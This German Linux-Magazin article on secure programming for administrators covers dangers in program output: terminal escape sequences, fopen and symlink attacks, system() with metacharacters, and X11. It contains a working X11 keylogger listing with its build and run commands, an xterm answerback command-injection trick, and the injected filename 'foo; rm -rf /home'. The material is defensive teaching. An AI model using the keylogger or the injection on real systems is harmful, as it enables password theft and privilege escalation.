Ob Text, Grafik oder Datei – Programmausgaben sind so vielfältig wie ihre Empfänger. Dabei überraschen sie die Abnehmer immer mal wieder mit unerwarteten Inhalten, die wiederum unerwünschtes Verhalten provozieren. Admins und Entwickler tun gut daran, das weitere Schicksal ihrer Ausgaben zu bedenken.
Falle 1: Terminalausgabe
Beim Gesellschaftsspiel “Stille Post” flüstert jeder Teilnehmer die Botschaft seines einen Nachbarn in das Ohr des anderen. Zur Erheiterung der Runde versteht der letzte Mitspieler meist etwas ganz anderes, als der erste gesagt hat. Auch im Alltag findet sich das Phänomen gelegentlich, sei es ein Besuch auf dem Bürgermeisteramt oder die Supportanfrage beim Freemail-Provider.
Sogar Softwaresysteme arbeiten nach einem ähnlichen Prinzip (Abbildung 1). Daten von Geräten (etwa Systemuhr, Maus) sowie der Zustand des Gesamtsystems dienen als Eingabe. Jeder Prozess erzeugt daraus Ausgaben, die er seinem Nachfolger als Eingaben weiterreicht. Am Ende finden sie sich im Zustand des Gesamtsystems und auf Ausgabegeräten wieder.

Abbildung 1: Das Schema eines Softwaresystems zeigt, dass viele Komponenten miteinander kommunizieren und dabei ihre Eingaben zusammen mit dem Systemzustand zu neuen Ausgaben verarbeiten.
Zum Softwaresystem gehören neben den Anwendungen auch Shells, Terminalprogramme, Betriebssystem, Gerätetreiber und vieles mehr. Programmierer und Skripte schreibende Admins neigen dazu, die Umgebung vor und nach ihrem Programm – mit Ausnahme der direkten Eingaben – zu übersehen. Die Anwendung ist aber nur ein Teil des Ganzen. Dass sich fremde Programmteile gegenseitig verstehen, ist aus Sicht der Systemsicherheit ebenso wichtig.
Mit dem Systemzustand [1] und den Eingaben ([3], [4]) hat sich dieser Workshop bereits beschäftigt. Um die Ausgaben geht es in dieser Folge. Die meisten Anwendungen greifen auf externe Software zu:
- Aufruf von Bibliotheksfunktionen
- Programme, Skripte (lokal/remote)
- Indirekt durch Ausgaben, die von anderen Tools verarbeitet
werden
Dem System droht Gefahr, wenn das Programm Daten an Komponenten weiterreicht, die damit unerwartet umgehen.
Solche Komponenten sind – für viele unerwartet – auch die unverzichtbaren Terminalprogramme. Sie sorgen dafür, dass ausgegebene Zeichen auf dem Bildschirm erscheinen. Hinter der unscheinbaren Fassade von Xterm, Gnome- und KDE-Terminal oder der Linux-Konsole verbirgt sich eine sehr komplexe und funktionsreiche Anwendung.
Schon der Terminal-Urahn VT100 kannte Control Sequences (Steuersequenzen). Sie dienen dazu, Text in unterschiedlichen Schriftgraden oder Farben darzustellen oder den Fenstertitel zu ändern. Beispielsweise erzeugen viele Terminals einen Ton, wenn sie das Ascii-Zeichen BEL (Oktalcode 7) ausgeben (»/bin/echo -e ‘?7’«). Xterm-kompatible Programme kennen heutzutage eine Vielzahl von Steuersequenzen [5].
Fremdbestimmtes Anzeigeprogramm
Ganz harmlos sind viele dieser Zusatzfunktionen aber nicht. Abbildung 2a zeigt ein Xterm, nachdem der Autor die letzten drei Zeilen der Binärdatei »/bin/echo« mit einem »tail«-Aufruf auf seinem System ausgegeben hatte. Dass der PC-Lautsprecher ungebeten lostutete lässt sich in Druckform schlecht darstellen. Im Bild fällt aber auf, dass hinter dem Prompt »$« auf der letzten Zeile noch Text steht (»1;2c«). Nach einem Druck auf [Return] versucht die Shell diese Zeichen auszuführen. Verantwortlich dafür zeichnet das Steuerzeichen ENQ (»/bin/echo ‘?5’«) zusammen mit einer vorher belegten Ressource.

Abbildung 2a: Binärdateien direkt auf ein Xterm auszugeben hat mitunter seltsame Nebeneffekte. Es erscheinen Sonderzeichen verteilt über das Fenster und der Lautsprecher piepst wild.
Auch die Terminaleinstellungen haben einen Defekt abbekommen. Der Clear-Befehl, der normalerweise den Textschirm löscht, verrichtet seine Arbeit nur noch unvollständig (Abbildung 2b). Wer die Ausgabe auf dem Terminal bestimmt, erlangt damit also eine gewisse Kontrolle. Tabelle 1 listet ein paar Steuersequenzen und ihre Folgen auf.

Abbildung 2b: Auf dem Xterm aus Abbildung 2a bleiben sogar nach Aufruf des Befehls »clear« etliche Sonderzeichen stehen: Die vielen als Steuersequenz interpretierten Zeichen aus der Binärdatei haben das Terminal verkonfiguriert.
|
Tabelle 1: |
|
|---|---|
|
Sequenz |
Wirkung |
|
?05 |
Gibt X-Ressource »answerbackString« aus |
|
?07 |
Erzeugt einen Ton |
|
?33[2h |
Friert das Xterm ein |
|
?33[?38h |
Erzeugt Datei »COPYDatum- |
Root-Exploit
Mit dem ENQ-Zeichen lassen sich sogar beliebige Befehle ausführen. Dazu füllt ein Angreifer die X-Ressource »xterm*answerbackString« nur mit dem gewünschten Kommando gefolgt von einem Zeilenumbruch und einem beliebigen weiteren Zeichen. In der Datei »~/.XDefaults« sieht das so aus:
xterm*answerbackString: lsn?05
Die Ressourcen eines X-Servers kann jedes Programm im laufenden Betrieb ändern, wenn es Zugriff zum Display hat. Stößt das Xterm nun auf das ENQ-Zeichen in der Ausgabe, schreibt es den Answerback-String auf die Kommandozeile. Weil der String einen Zeilenumbruch enthält, führt die Shell ihn sofort aus (Abbildung 3), ohne dem Benutzer auch nur eine Chance zu lassen, vorher einzugreifen.

Abbildung 3: Mit der X-Ressource »xterm*answerbackString« wird das harmlose »tail«-Kommando zum Trojanischen Pferd: Im ausgegebenen Binärfile lauert der Steuercode »\005«. Gemeinsam mit dem Terminal veranlassen sie die Shell dazu, den Befehl »ls« ohne Wunsch des Anwenders auszuführen.
Kommando untergeschoben
Im Extremfall kann sich ein Benutzer mit Hilfe des ENQ-Zeichens Root-Rechte aneignen. Dazu setzt er den Answerback- String auf einen ihm genehmen Befehl und bringt den Admin durch Social Engineering dazu, in einem Terminal eine Shell mit Root-Rechten zu starten und das ENQ-Zeichen auszugeben. Probleme dieser Art betreffen vielerlei Terminalprogramme, nicht nur Xterms. Selbst wenn ein Programm gegen bestimmte Sequenzen immun ist, kann es noch andere Angriffspfade geben.
Lösung für die Shell: Um Dateien zu betrachten, sind Pager wie »less« oder das ältere »more« eine geeignete Wahl. Sie entfernen die Steuersequenzen oder stellen sie als ungefährlichen Text dar. In Skripten entschärft »cat -v« die Ausgabe:
Befehl | /bin/cat -v
Lösung für C und C++: Prinzipiell funktioniert derselbe Ansatz auch in übersetzen Programmen. Die Funktion »filter_control_seq()« aus Listing 1 überschreibt in einem C-String alle Steuerzeichen außer Tab und Zeilenumbruch mit einem Punkt ».«. Das eigentliche Problem ist aber, sich zwischen Ausgabekommando (etwa »printf()«) und Terminal einzuklinken: Die Sprachen sehen nicht vor, in den Ausgabestrom beliebige Filter zu hängen. Es bleibt nur, den Filter vorher einzusetzen – am besten beim Erzeugen der Ausgabezeichen.
|
Listing 1: Steuerzeichen |
|---|
01 void filter_control_seq(unsigned char *s)
02 {
03 for ( ; *s != 0; s++) {
04 if (*s < 32 && *s != 9 && *s != 10)
05 *s = '.';
06 else if (*s >= 128 && *s < 160)
07 *s = '.';
08 }
09 }
|
Metazeichen
Ein- und Ausgaben lassen sich immer von zwei Seiten betrachten: Eine Instanz erzeugt eine Ausgabe und andere Instanzen nehmen sie als Eingabe. Dem Admin sollte das einerlei sein, denn ihn interessiert vor allem das Ganze. Stand er bei der Eingabe vor der Aufgabe, anderer Leute Daten zu bändigen, erzeugt er bei der Ausgabe die Daten selbst – hat aber keine Kontrolle über das nachgeschaltete Programm.
Ein- und Ausgabe vermischen sich mitunter, etwa beim Anzeigen von Daten, die aus einer Datei stammen, gefürchtet sind beispielsweise Logfiles. Metazeichen in den Daten können ihren Endabnehmer dazu bewegen, Dinge zu tun, die der Programmierer nicht eingeplant hat. Die Folgen [3] und [4] des Workshops haben sich bereits ausführlich mit dem Thema befasst.
Falle 2: Bibliotheken
Eine Sonderform der Ausgabe sind aus Sicht des Aufrufenden die Parameter einer Bibliotheksfunktion. Ihre Rückgabewerte sind so gesehen wieder Eingaben des Programms. In den Schnittstellen von C-Bibliotheken lauern viele Gefahren, sie halbwegs vollständig aufzuzählen wäre hoffnungslos. Einige wichtige Regeln im Umgang mit Bibliotheken lassen sich dennoch aufstellen.
Regel 1: Lies die Anleitung! Eigentlich ist das eine Selbstverständlichkeit. Allzu oft ist die Anleitung aber gerade nicht auffindbar oder es macht zu viel Mühe, sie zu suchen und zu lesen. Dann raten Admins und Entwickler mehr oder weniger treffsicher, wie eine Schnittstelle funktioniert, oder kopieren einen Aufruf von einer anderen Stelle. Dieses leichtsinnige Copy&Paste gilt als eine der häufigsten Ursachen für Bugs.
Zumindest bei den üblichen C-Bibliotheken unter Linux gibt es keine Entschuldigung. Die großen Distributionen liefern Manpages für System- und Bibliotheksfunktionen stets mit. Auf Debian etwa im Paket »manpages-dev«. Im Umkehrschluss heißt das: Finger weg von undokumentierten Bibliotheken.
Der Programmierer riskiert besser keine eigenen Annahmen zu Bibliotheken, die sich nicht mit der Anleitung belegen lassen. Ausprobieren kann zwar zum Erfolg führen, undokumentiertes Verhalten ist aber häufig nicht portabel. Ein schönes Beispiel dafür ist die Funktion »readdir_r()«. Trotz Posix-Standardisierung fördert eine Google-Suche fünf sich widersprechende Manpages auf fünf verschiedenen Unix-Derivaten zutage.
Regel 2: Prüfe alle Aufrufparameter! Nach dem Motto “Vorsicht ist besser als Nachsicht” darf man annehmen, dass eine Bibliothek sich auf ungültige Eingaben undefiniert verhält. Gut beraten ist, wer sämtliche Eingaben – wie in den letzten beiden Folgen des Workshops beschrieben – selbst kontrolliert.
Manchmal schweigt sich die Anleitung der Bibliothek über gewisse Aspekte aus oder ist nicht eindeutig. Hier gilt wieder, ungeprüft keine positiven Annahmen der Art “Es wird schon gehen” zu machen. Es schadet nicht, die Wertebereiche auf das absolut Notwendige zu beschränken (Whitelisting [3]) oder die Quellen der Bibliothek zu studieren – wenn sie denn verfügbar sind.
Vertrauensselig
Regel 3: Überprüfe immer den Returncode! Unter Unix liefert jeder Syscall einen Wert zurück, den die C-Library an die Applikation durchreicht. Üblicherweise signalisiert der Wert 0 Erfolg und -1 einen Fehler. Im Zweifelsfall gilt, was die Dokumentation sagt (Regel 1).
Manche Aufrufe können gar nicht fehlschlagen, zum Beispiel »getpid()« und »getgid()«. Andererseits hält manche vermeintlich zuverlässige Funktion doch Überraschungen parat. In zehn Jahren Unix-Programmierung hat der Autor noch nie Quellcode gesehen, der den Rückgabewert der »time()«-Funktion prüft. Time liefert die Zahl der Sekunden seit 1.1.1970 oder -1 wenn die Zeitzone nicht richtig gesetzt ist. Auch wenn das Programm länger wird, eine einfache Abfrage sollte Pflicht sein:
t = time(NULL); if (t == -1) exit(1);
Regel 4: Wähle deine Bibliotheken mit Sorgfalt! Arbeit nicht selbst verrichten, sondern sie vorhandenen Komponenten zu überlassen, spart Entwicklungszeit und senkt meist auch die Fehlerzahl. Dem programmierenden Administrator stellt sich allerdings selten die Frage, ob er eine Bibliothek selber schreibt oder eine vorhandene verwendet: In der Regel kommt nur die Zeit sparende zweite Option in Frage. Beim Aufspüren von Bugs in vorhanden Programmen ist die Entscheidung für oder gegen eine Bibliothek sogar längst gefallen.
Trau schau wem
Doch wer unreflektiert alles verwendet, holt sich Probleme ins Haus. So hart es klingt, nur wenige Bibliotheken sind so sorgfältig geschrieben, dass sie für den Einsatz im sicherheitsrelevanten Umfeld taugen. Es gibt zahlreiche abschreckende Beispiele. Womit der Entwickler am Ende besser fährt, muss er im Einzelfall abwägen. Bei der Entscheidung helfen Antworten auf diese Fragen:
- Ist die Bibliothek bekannt für viele Fehler?
- Wird sie häufig benutzt (und somit intensiv
getestet)? - Tut sie das, was gebraucht wird?
- Ist sie einfach zu verstehen und gut dokumentiert?
- Ist sie klein und schlank oder mit Funktionen
überladen?
Zu den sehr gut getesteten, aber auch sehr funktionsreichen Bibliotheken gehört die unverzichtbare C-Standardbibliothek. Gerade in ihr lauern viele Fallen.
Falle 3: Datei-Ausgabe
Die C-Funktionenfamilie mit »fopen()«, »fprintf()«, »fwrite()« und Konsorten ist unter Programmierern beliebt weil leicht bedienbar. Dumm ist nur, dass Fopen keinen Modus kennt, in der sie eine Datei nur dann zum Schreiben öffnet, wenn diese noch nicht existiert. So ist der einfache Aufruf »f = fopen(Pfad, “w”)« fast immer mit Risiken behaftet.
Gibt es den Pfad nämlich schon, zerstören Fopen und spätere Ausgabefunktionen gnadenlos die Datei. Richtig schlimm wird es, wenn der Pfad ein in böser Absicht erzeugter Symlink ist, der an eine andere Stelle zeigt (Symlink-Angriff). Ostreams in C++ machen es übrigens nicht besser. In Shellskripten gilt Gleiches: Die Ausgabeoperatoren »>«, »>>« und andere legen Dateien unauffällig im Hintergrund an.
Ohne Prügel
Lösung für die Shell: Die Option mit dem anschaulichen Namen »NO_CLOBBER«. Im Englischen steht “to be clobbered” für “eins übergebraten bekommen”. Soll eine bestehende Datei also nicht niedergeknüppelt werden, hilft »set -C« gleich am Beginn des Skripts:
#!/bin/sh set -C echo hallo > ausgabe || exit 1
In diesem Zusammenhang gilt ein symbolischer Link immer als existent, egal ob er auf etwas zeigt oder nicht. Achtung: In Skripten kann man eine Option auch in der ersten Zeile setzen: »#!/bin/sh -C«. Posix garantiert aber nur, dass die Shell eine einzelne Option auswertet, die weiteren möglicherweise aber nicht. Während »#!/bin/sh -i -C« auf einem System wie gewünscht die Optionen »-i« und »-C« aktiviert, fällt bei einer anderen Shell »-C« vielleicht unter den Tisch.
Mehr Kontrolle
Lösung für C und C++: Die »open()«-Funktion (Filedeskriptor öffnen) bietet mehr Kontrolle als »fopen()« (das einen »FILE«-Pointer öffnet). Nur gibt es die vielen komfortablen Ausgabefunktionen für »FILE*« nicht für Deskriptoren. Ein leider nicht auf alle Unixe portabler Trick benutzt »open()«, um die Datei zu öffnen, und die Funktion »fdopen()«, um dann doch einen »FILE*« zu erhalten. Listing 2a ist ein Beispiel für den Fehler, den Listing 2b korrigiert.
|
Listing 2a: Datei unsicher |
|---|
01 #include <stdio.h>
02
03 int main(void)
04 {
05 FILE *f;
06
07 f = fopen("Pfad", "w+");
08 fprintf(f, "Hallon");
09 fclose(f);
10
11 return 0;
12 }
|
|
Listing 2b: Datei sicher |
|---|
01 #include <stdio.h>
02 #define __USE_GNU
03 #include <fcntl.h>
04
05 int main(void)
06 {
07 int fd;
08 FILE *f;
09
10 fd = open("Pfad", O_CREAT | O_EXCL |
11 O_NOFOLLOW | O_RDWR, 0600);
12 f = fdopen(fd, "w+");
13 fprintf(f, "Hallon");
14 fclose(f); /* schließt auch fd */
15
16 return 0;
17 }
|
Als Faustregel gilt, dass das Steuerflag »O_CREAT« (Datei bei Bedarf neu erzeugen) nur zusammen mit »O_EXCL« (keine bestehende Datei öffnen) sinnvoll Verwendung findet. Das Linux-spezifische Flag »O_NOFOLLOW« (Symlinks nicht folgen) ist eine nützliche Ergänzung. Tabelle 2 gibt zu jedem Fopen-Modus eine sicherere Alternative mit Open an. Wer nur eine neue Datei anlegen will, benutzt am besten:
open(Pfad , O_WRONLY | O_CREAT | O_EXCL)
|
Tabelle 2: Open |
|
|---|---|
|
Falsch |
Richtig |
|
fopen(Pfad, “r”); |
open(Pfad, O_RDONLY); |
|
fopen(Pfad, “r+”); |
open(Pfad, O_RDWR | O_NOFOLLOW); |
|
fopen(Pfad, “w”); |
open(Pfad, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, |
|
fopen(Pfad, “w+”); |
open(Pfad, O_RDWR | O_CREAT | O_TRUNC | O_NOFOLLOW, |
|
fopen(Pfad, “a”); |
open(Pfad, O_WRONLY | O_CREAT | O_NOFOLLOW, 0600); |
|
fopen(Pfad, “a+”); |
open(Pfad, O_RDWR | O_CREAT | O_NOFOLLOW, 0600); |
Besondere Vorsicht ist in global schreibbaren Verzeichnissen wie »/tmp« geboten. Hier haben böswillige Benutzer vielfältige Möglichkeiten, das Programm durch eine unvorhergesehene und sich schnell ändernde Umgebung zu verwirren. Mehr zum Thema steht in der zweiten Folge [2] dieser Reihe.
Falle 4: Programmaufruf ohne System
Lautet die Aufgabe, ein Programm aus einem anderen heraus zu starten, spielt die »system()«-Funktion eine ähnliche Rolle wie Fopen beim Öffnen von Dateien: Sie ist bequem zu bedienen, praktisch – und gefährlich. System bearbeitet einzeilige Skripte in einer eigens dafür gestarteten Shell (»/bin/sh«).
Einerseits ist dieser Ansatz sehr mächtig, andererseits ist aber nicht unmittelbar klar, dass ein Kommandointerpreter läuft. Bei dem scheinbar ganz harmlosen Aufruf »system(“touch /home/hugo/foo”);« übernimmt die Shell die Aufgabe, den Befehl »touch« und seine Argumente (hier nur »/home/hugo/foo«) voneinander zu trennen und das Kommando danach wie gewünscht zu starten.
Workshop-Folge [1] (“Umweltverschmutzung”) hat das Thema Programmumgebung von Skripten ausführlich behandelt. Die Shell durchsucht zum Beispiel wie gewohnt den Pfad aus der Variablen »PATH« nach dem Befehl und verwendet den Inhalt von »IFS«, um die einzelnen Wörter der Befehlszeile abzugrenzen. Ihre Umgebungsvariablen erbt die Shell vom laufenden Programm. Nur wenn der Entwickler alle Ratschläge aus Folge 1 beherzigt, indem er etwa Gateguardian verwendet [8], spricht wenig gegen einen Aufruf der »system()«-Funktion.
Missverständnis
Sorglose Programmierer drohen in eine weitere Falle zu tappen, wenn sie Benutzereingaben als Teil der Kommandozeile zulassen. So war es vor einigen Jahren möglich, unter KDE in einigen Dialogfenstern Dateinamen wie »foo; rm -rf /home« einzugeben (Metazeichenproblem). In einigen Fällen übernahm eine Shell die Bearbeitung und erkannte prompt hinter dem Semikolon einen neuen Befehl und führte ihn aus.
Grundsätzlich ist es nicht empfehlenswert, die »system()«-Funktion zu verwenden. Der Nutzen rechtfertigt meist nicht das Risiko, eine Lücke zu übersehen. Aber auch wer die Funktionen der »exec*()«-Familie nutzt, kann sich noch lange nicht in Sicherheit wiegen. Gefährlich sind zum Beispiel Dateinamen, die mit einem Minuszeichen beginnen und damit vielen Befehlen signalisieren, dass sie eine Option darstellen. Je nach Kommando kann das aber verheerende Folgen haben.
Lösung für C und C++: Den Gefahren durch zu arglosen Umgang mit Benutzereingaben wie den Minuszeichen kann der Entwickler nur durch Sorgfalt beikommen. Bei GNU-Befehlen signalisiert die Zeichenfolge »–« das Ende der Optionen. Statt eines einfachen »system(“touch Dateiname“);« empfiehlt sich »system(“touch — Dateiname“)« – leider auf Kosten der Portabilität.
Gateguardian [8] enthält ab Version 0.9.6 eine sichere Alternative zur »system()«-Funktion, die ähnlich wie »execv()« arbeitet, zusätzlich aber noch die Programmumgebung absichert. Die Funktion »gateg_safe_run_command()« erwartet als einziges Argument ein Array von C-Strings. Dessen erstes Element ist der absolute Pfad des Programms, danach folgen die Argumente und eine abschließende Null. Listing 3 führt das am Beispiel des Touch-Befehls vor.
|
Listing 3: Externe Programme |
|---|
01 #include <gateguardian.c>
02 [...]
03
04 int rc;
05 char *args[] = {
06 "/bin/touch", "--", "/home/hugo/foo", 0
07 };
08
09 rc = gateg_safe_run_command(args);
10 if (rc == -1)
11 exit(1);
|
Gateguardian stellt dabei Coredumps ab, setzt die Umask auf 077 und die Signalhandler zurück. Außerdem prüft es, ob andere User dem Prozess Signale schicken dürfen, löscht alle Umgebungsvariablen bis auf wenige Standardwerte, schließt offene Deskriptoren, sorgt für sinnvolle Kanäle »stdin«, »stdout« sowie »stderr« und stellt das Arbeitsverzeichnis auf »/« ein. Passen diese Einstellungen nicht zum Programm, dann kann der Entwickler über die Funktion »gateg_safe_run_command_with_cfg()« Gateguardian selbst konfigurieren.
Falle 5: Aufruf per Shell
Im Prinzip gilt das über die »system()«-Funktion Gesagte für jede Zeile eines Shellskripts. Doch lässt sich im Skript die Shell nicht vermeiden – mit allen diskutierten Vor- und Nachteilen. Insbesondere ist Vorsicht geboten, wenn Argumente eines Befehls vom Benutzer stammen. Genau wie beim Aufruf aus C kann ein Kommando jene Argumente, die mit dem Minuszeichen beginnen, als Optionen interpretieren.
Lösung für die Shell: Diese Missverständnisse lassen sich oft wie in C mit »–« vermeiden. Als Ersatz für Gateguardian kommen die Programme Super [6] und Sudo [7] in Frage. Super wurde speziell dafür geschrieben, Shellskripte sicher aufrufen zu können.
Falle 6: Ausgaben mit X
Für grafische Ausgaben auf Unix-Systemen ist in der Regel X11 zuständig. Das X-Protokoll ist komplett netzwerkfähig und erlaubt es, beliebig viele Clients über den X-Server miteinander zu verbinden. So kann ein Benutzer unter anderem die Fenster einer lokalen Applikation auf dem Bildschirm eines entfernten Kollegen darstellen.
So praktisch diese Fähigkeiten sind – das X-Protokoll stammt noch aus Zeiten, in denen Netzwerksicherheit kein Thema war: Die gesamte Kommunikation läuft unverschlüsselt und ohne sichere Authentifizierung und Autorisierung. Der Spionage und Sabotage am X-Server sind Tür und Tor geöffnet. Versuche, das Protokoll nachträglich abzusichern (»XAUTHORITY« und »MIT-MAGIC-COOKIE-1«-Protokoll), liefern nur Stückwerk. Sie sind für einen entschlossenen Angreifer kein großes Hindernis.
Paradies für Cracker
Einem Saboteur stehen zwei Wege offen: einen eigenen Client mit dem X-Server (auch Display genannt) verbinden oder am Netzwerk lauschen und Pakete modifizieren oder fälschen. Nur eine Kombination von Verschlüsselung und Authentifizierung verspricht die Sicherheitslücken zu stopfen.
Hat ein versierter Saboteur Zugriff auf einen fremden X-Server, muss er sich wie im Schlaraffenland fühlen. Das X-Protokoll bietet alle Zugriffsfunktionen, die das Crackerherz begehrt. Hier eine kurze Auswahl, was der Bösewicht damit anstellt:
- Cursor bewegen oder verstecken
- Screenshots vom ganzen Bildschirm oder einzelnen Fenstern
anfertigen - Fenster öffnen, schließen oder anderweitig
manipulieren - Maus- und Tastendrücke simulieren
- Tastendrücke protokollieren
- Eigene Befehle über Copy&Paste in fremde Shells
einschleusen
Kurz gesagt: Er übernimmt die Kontrolle über die Konten der Benutzer eines Servers. Das Programm »kbdsniffer« aus Listing 4 schreibt ein erfahrener X-Programmierer in einem Stündchen. Es ist schnell übersetzt und aufgerufen mit:
gcc -g -L/usr/X11R6/lib -o kbdsniffer kbdsniffer.c -lX11 DISPLAY=Fremddisplay ./kbdsniffer
|
Listing 4: |
|---|
01 #include <stdio.h>
02 #include <stdlib.h>
03 #include <unistd.h>
04 #include <X11/Xlib.h>
05 #include <X11/Intrinsic.h>
06
07 static Display *dpy;
08 static Window focuswin = None;
09
10 static void attach_to_focuswin(void)
11 {
12 int foo;
13
14 XGetInputFocus(dpy, &focuswin, &foo);
15 if (focuswin != None)
16 XSelectInput(
17 dpy, focuswin,
18 KeyPressMask | FocusChangeMask);
19 else
20 sleep(1);
21 }
22
23 static void handle_event(void)
24 {
25 XEvent ev;
26 char buf[100];
27 int len;
28
29 XNextEvent(dpy, &ev);
30 if (ev.xany.type == FocusOut)
31 focuswin = None;
32 else if (ev.xany.type == KeyPress)
33 {
34 len = XLookupString(
35 &ev.xkey, buf, 99, 0, 0);
36 buf[len] = 0;
37 printf("%s", buf);
38 fflush(stdout);
39 }
40 }
41
42 int main(void)
43 {
44 dpy = XOpenDisplay(getenv("DISPLAY"));
45 if (dpy == NULL)
46 {
47 fprintf(
48 stderr, "cannot open displayn");
49 exit(1);
50 }
51 while (1)
52 {
53 if (focuswin == None)
54 attach_to_focuswin();
55 else
56 handle_event();
57 }
58 }
|
Danach protokolliert es Tastendrücke aus beliebigen Fenstern auf die Standardausgabe – inklusive jedes eingetippten Passworts. Der Angreifer braucht dazu nur das passende MIT Magic Cookie.
Wer denkt, dass OpenSSH [10] und dessen X11-Forwarding diese Probleme vollständig lösen, der irrt. Beim X11-Forwarding (»ssh -Y User@Host«) erzeugt die SSH einen verschlüsselten Tunnel zwischen dem lokalen X-Server und der entfernten Maschine. Dort legt sie außerdem einen virtuellen X-Server mit einem künstlichen Displaynamen an, üblicherweise »localhost:10.0«, und schützt den Zugriff darauf per X-Authority. Das MIT Magic Cookie speichert der SSH-Daemon der entfernten Maschine in der Datei »~/.Xauthority«. Nur wer Zugriff auf das Cookie hat, kann sich über den SSH-Tunnel am X-Server anmelden (Abbildungen 4a und 4b).

Abbildung 4a: Ein X-Client auf der Maschine namens Birne verbindet sich mit dem X-Server auf Apfel. Intern verwendet er den Displaynamen »apfel:0.0«, den er per DNS auflöst, und verbindet sich über Port 6000 mit dem X-Server. Dazu braucht er das MIT Magic Cookie aus »~/.Xauthority«.

Abbildung 4b: Bei SSH mit X11-Forwarding verbindet sich der Benutzer auf dem X-Server Apfel zunächst per SSH mit Birne. Der SSH-Daemon dort setzt »DISPLAY=localhost:10.0« und lauscht auf dem lokalen Port 6010 auf Verbindungsversuche. Der X-Client wendet sich über diesen Port an »sshd«, den er für seinen X-Server hält. Der SSH-Daemon leitet alle Pakete verschlüsselt an SSH auf Apfel, der sie entschlüsselt und über die lokale Pipe »~/tmp/.X11-unix/X0« an den X-Server durchstellt.
Vertrauensfrage SSH
In der Praxis hat jeder Benutzer der entfernten Maschine volle Rechte auf dem X-Server, wenn er nur die Datei »~/.Xauthority« des Besitzers der SSH-Verbindung lesen darf. Root kann das immer, außerdem alle, die das Passwort des Kontos kennen, sowie alle Einbrecher, die das Konto geknackt haben.
Diese Klientel erhält auf dem Rechner, auf dem der X-Server läuft, dieselben Rechte wie der Benutzer, für den X-Server eigentlich arbeitet. Wenn der X-Server auf der lokalen Maschine des Administrators läuft, räumt er böswilligen Benutzern des entfernten Computers sogar ebenfalls Root-Rechte auf dem Admin-Rechner ein.
Der lokale Anwender überträgt unbewusst das Vertrauen in die Sicherheit seiner eigenen Maschine auf den entfernten Rechner. So vertraut schnell jeder jedem – und das ist ein sicheres Rezept, um die Systemsicherheit auszuhebeln. Der Kasten “Einladung zum Diebstahl” erläutert mögliche Angriffe.
|
Einladung zum |
|---|
|
Szenario 1: Cracker Carsten hat den Rechner des Nutzers Norbert unter seine Kontrolle gebracht. Carsten manipuliert die Konfigurationsdatei von Norberts Office-Paket so, dass die Textverarbeitung nicht mehr startet. Norbert wendet sich entnervt an Administratorin Anke, die vorwiegend remote per SSH mit X-Forwarding arbeitet, weil sie auch grafische Applikationen betreut. Sie loggt sich unter Norberts Kennung auf dessen Maschine ein. Daraufhin schlägt Carsten zu: Er kopiert mit seinen Root-Rechten die Datei »/home/norbert/.Xauthority« in sein eigenes Homeverzeichnis, setzt »DISPLAY=localhost:10.0« und startet den Tastenschnüffler mit »kbdsniffer | tee kbd.out«. Er protokolliert nun alle Tastendrücke auf Ankes Rechner. Anke öffnet zwischendurch auf ihrem eigenen Rechner eine Root-Shell und tippt dazu Folgendes ein: su - root 7F%§LHK!xü++ Genau diese Tastenfolge findet Carsten in der Datei »kbd.out« wieder und kennt somit Ankes Root-Passwort. Szenario 2: Carsten will in den Rechner seines Kollegen Konrad einbrechen, der zwei Stockwerke weiter oben sitzt. Er geht hinauf und behauptet, Probleme mit der neuen Ethernet-Karte zu haben. Er habe da eben irgendeine komische Fehlermeldung bekommen. Den genauen Wortlaut hat Carsten angeblich vergessen und bittet Konrad daher um eine Shell, mit der er über SSH auf seinem Rechner nachgucken kann. Er tippt
ssh -Y carsten@
und startet über ein vorbereitetes Skript seinen Keyboard-Sniffer. Weil Carsten die Aktionen gut getarnt hat, schöpft Konrad nicht den leisesten Verdacht. Nun bittet Carsten seinen Kollegen, die Meldungen im Syslog zu vergleichen. Dazu gibt Konrad das Root-Passwort ein. Der Sniffer protokolliert dies und Carsten ist wieder am Ziel. |
Teufelszeug
Lösung: Am besten meidet der programmierende Administrator X11. Grafik- und Steuerdaten über das X-Protokoll übertragen ist unsicher. Ein sicheres Programmdesign kann nicht auf der Netzwerkschnittstelle von X aufbauen.
Lösungsansätze sind Programme in klassischer Client-Server-Architektur mit einem eigenen Protokoll oder die strikte Trennung von lokalem und entferntem Programmteil. Die Datenübertragung kann dann beispielsweise mit »scp« erfolgen. Allerdings führen diese Techniken zu einem komplexen Programmdesign. Wo immer möglich empfiehlt es sich folglich, auf das X11-System für administrative und sicherheitsrelevante Aufgaben zu verzichten.
Fazit
Sichere Programmein- und -ausgaben haben den Workshop drei Folgen lang beschäftigt. Es sollte jetzt klar sein, dass sich Sicherheit nicht nachrüsten lässt – sie ist immanenter Bestandteil der Architektur eines Systems. Hinzu kommt, dass fremde Komponenten hinter ihrer Fassade ebenso unzulänglich sind wie eigene Programme. Nur wer radikal umdenkt und das Misstrauen gegenüber Ein- und Ausgaben zur Kardinaltugend erhebt, hat die Chance, im Datendickicht den Überblick zu bewahren. (fjl)
|
Infos |
|---|
|
[1] Dominik Vogt, “Umweltverschmutzung – Sicheres Programmieren für Administratoren, Folge 1”: Linux-Magazin 02/05, S. 54 [2] Dominik Vogt, “Wurzelbehandlung – Sicheres Programmieren für Administratoren, Folge 2”: Linux-Magazin 04/05, S. 64 [3] Dominik Vogt, “Gesichtskontrolle – Sicheres Programmieren für Administratoren, Folge 3”: Linux-Magazin 07/05, S. 62 [4] Dominik Vogt, “Giftiger Apfel – Sicheres Programmieren für Administratoren, Folge 4”: Linux-Magazin 10/05, S. 54 [5] Moy, Gildea, Dickey, “Xterm Control Sequences”: [http://www.xfree86.org/current/ctlseqs.html] [6] Sichere Ausführung mit »super«: [http://freshmeat.net/projects/super/] [7] Sudo: [http://www.courtesan.com/sudo/] [8] Dominik Vogt, “Gate Guardian”: [http://sourceforge.net/projects/gateguardian/]; Mailingliste: [mailto:gateguardian-devel@lists.sourceforge.net] [9] Viega, Messier, “Secure Programming Cookbook”: O’Reilly, ISBN 0-596-00394-3; [http://www.secureprogramming.com] [10] OpenSSH: [http://www.openssh.com] |
|
Der Autor |
|---|
|
Diplommathematiker Dominik Vogt ist langjähriger Software-Entwickler und Systemadministrator. Zurzeit arbeitet er als freiberuflicher EDV-Berater mit dem Schwerpunktthema Softwaresicherheit. In seiner Freizeit werkelt er gerne am Windowmanager Fvwm. |
Copyright © 2002 Linux New Media AG






